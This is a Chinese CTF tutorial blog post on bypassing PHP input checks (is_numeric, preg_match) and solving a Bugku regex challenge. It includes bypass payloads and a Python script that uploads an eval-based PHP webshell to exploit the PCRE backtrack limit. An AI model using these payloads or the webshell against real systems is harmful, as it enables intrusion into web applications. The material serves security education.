常见php函数绕过

PHP常见函数介绍

1. is_numeric() 函数

作用:检测变量是否为数字或数字字符串。
PHP 版本要求:PHP 4, PHP 5, PHP 7

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后

绕过

?what=1'
?what=1,
?what=1%00

2.isset函数

作用:检测变量是否设置

格式:bool isset ( mixed var [, mixed var [, …]] )

返回值:

若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。

警告: isset() 只能用于变量,因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置,可使用 defined() 函数

3.preg_match()函数

作用:执行正则表达式匹配,可以根据正则表达式对字符串进行搜索匹配

preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])

参数说明如下:

  • $pattern:要搜索的模式,也就是编辑好的正则表达式;
  • $subject:要搜索的字符串;
  • $matches:可选参数(数组类型),如果提供了 $matches,它将被填充为搜索结果。 $matches[0] 包含完整模式匹配到的文本, $matches[1] 包含第一个捕获子组匹配到的文本,以此类推;
  • $flags:可选参数,$flags 可以被设置为 PREG_OFFSET_CAPTURE,如果传递了这个标记,对于每一个出现的匹配,返回时都会附加上字符串偏移量(相对于目标字符串的);
    -$offset:可选参数,用于指定从目标字符串的哪个位置开始搜索(单位是字节)。

preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索

正则表达式

"/^\w+$/"

^ 表示开头,是转义字符,使用时在前面加""
$ 表示结束,是转义字符,使用时在前面加""
\w 任意一个字母或数字或下划线,也就是 AZ,az,0~9,_ 中任意一个
这段正则表达式的意思就是字符全部由【AZ,az,0~9,_ 】组成,肯定不能为空

绕过方法:

1.数组绕过,即传入的参数为数组

源代码:

<?php
$a=$_GET['a'];
if(!preg_match("/secret/",$a)==false){
    
    
	die('hack');
}
echo 'success';
?>

在这里插入图片描述

2.换行符绕过
.不会匹配换行符

<?php
$a=$_GET['a'];
if(!preg_match('/^.*(secret).*$/',$a)==false){
    
    
	die('hack');
}
echo 'success';
?>

在这里插入图片描述

3.PCRE回溯次数限制

import requests
from io import BytesIO

files = {
    
    
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://127.0.01/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

关于正则匹配的CTF题

No one knows regex better than me(bugku中题)

 <?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    
    
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
    
    
        die("Noooood hacker!");
    }else{
    
    
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
    
    
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    
    
    highlight_file(__FILE__);
} 

首先进行代码审计,通过$zero$first进行传参,然后拼接使$second=zero.first,然后进行正则匹配使其匹配到

/Yeedo|wants|a|girl|friend|or|a|flag/i 这里面的字符,然后$key=zero.first,接着在$key中不能匹配到

\.\.|flag/ ,绕过该分支,$key=$second只需避免..flag(小写)出现,然后$third=first,并且在$里要匹配

/\|\056\160\150\x70/i,$end从third里第五位字符开始截取

进行整理:

preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)

$second由/Yeedo|wants|a|girl|friend|or|a|flag/i里任意字符构成

preg_match("/\.\.|flag/",$key)

要绕过该分支,$key需避免..flag(小写)出现

preg_match("/\\|\056\160\150\x70/i",$third)		\056\160\150\x70为16进制和8进制ascii代码,php可自动识别

$third=$first 仅需构造xxxxx.php型的字符串即可,但是第三次匹配字符为|.php,应当为xxxx|.php

因为存在两次转义,实际为匹配|.php

base64_decode($zero) 这里已经给了提示要解码

$zero为base64(‘flag’)即可

最终payload

zero=ZmxhZw==&first=aaaa|.php

注意:

关于两重转义
在正则表达式中要匹配一个反斜杠时,例如"\\\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。

字符串 ----> 正则表达式字符串参数 -----> 正则解析转移后的pattern
字符串:"\\." ----> 正则表达式形式:"\." ---> 正则引擎解析结果"\."(转义的.)  

字符串:"(\\)(\\)" ----> 正则表达式形式:"\\" ---> 正则引擎解析结果"\"(普通符号\)  

字符串:"(\\)(\\)|.php" ----> 正则表达式形式:"\\|.php" ---> 正则引擎解析结果pattern为"\"或".php"(普通符号\)  

字符串:"(\\)|.php" ----> 正则表达式形式:"\|.php" ---> 正则引擎解析结果"|.php"(普通符号\)  

形如\xnn为16进制(Hex),\nnn为8进制(Oct)【n为一位数字】通符号)

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/123880442